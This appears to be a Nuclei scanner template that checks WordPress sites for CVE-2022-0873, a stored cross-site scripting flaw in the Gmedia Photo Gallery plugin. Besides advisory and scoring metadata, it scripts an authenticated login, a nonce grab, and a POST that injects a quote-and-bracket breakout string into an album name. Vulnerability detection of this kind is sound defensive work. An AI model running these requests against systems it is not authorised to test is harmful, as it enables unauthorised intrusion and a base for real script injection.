id: CVE-2022-0873
info:
name: WordPress Gmedia Photo Gallery Plugin < 1.20.0 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
The Gmedia Photo Gallery WordPress plugin before 1.20.0 does not sanitise and escape the album's name before outputting it in pages or posts with a media embed, which could allow high privilege users such as admin to perform Cross-Site Scripting (XSS) attacks even when the unfiltered-html capability is disallowed. (CVE-2022-0873)
impact: |
Successful exploitation could allow an attacker with high privileges, such as admin, to inject arbitrary JavaScript or HTML in the context of other users who view affected posts and pages, potentially leading to session hijacking, defacement, or other malicious actions.
remediation: |
Update the Gmedia Photo Gallery plugin to version 1.20.0 or later to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/d5ce4b8a-9aa5-4df8-b521-c2105990a87e
- https://wordpress.org/plugins/grand-media/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0873
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
cvss-score: 4.8
cve-id: CVE-2022-0873
epss-score: 0.00893
epss-percentile: 0.55946
cwe-id: CWE-79
cpe: cpe:2.3:a:codeasily:gmedia_gallery:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: codeasily
product: gmedia_gallery
framework: wordpress
tags: cve,cve2022,wp,wordpress,wp-plugin,gmedia,xss,authenticated
variables:
string: "{{rand_base(4)}}"
payload: "{{string}}'>"
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=GrandMedia_Albums HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin.php?page=GrandMedia_Albums HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
term[name]={{payload}}&term[description]=&term[meta][_orderby]=ID&term[meta][_order]=DESC&term[meta][_module_preset]=&term[global]=1&term[status]=publish&_wp_original_http_referer={{BaseURL}}/wp-admin/admin.php?page=GrandMedia_AddMedia&_wpnonce_terms={{nonce}}&_wp_http_referer=/wp-admin/admin.php?page=GrandMedia_Albums&term[taxonomy]=gmedia_album&gmedia_album_save=
matchers-condition: and
matchers:
- type: word
part: body_3
words:
- "` successfully saved"
- type: word
part: content_type_3
words:
- "text/html"
- type: status
status:
- 200
extractors:
- type: regex
name: nonce
part: body_2
group: 1
regex:
- 'name="_wpnonce_terms" value="([a-z0-9]+)"'
internal: true
# digest: 4b0a00483046022100eda785d8702ab7cbad209cbdb47dc7dc6227cc40248b3b8eec10b53ea27added022100f576a063765bbb3c690c8ec4614460cbf9afed005c323dd612b63e997dc5b9d6:922c64590222798bb761d5b6d8e72950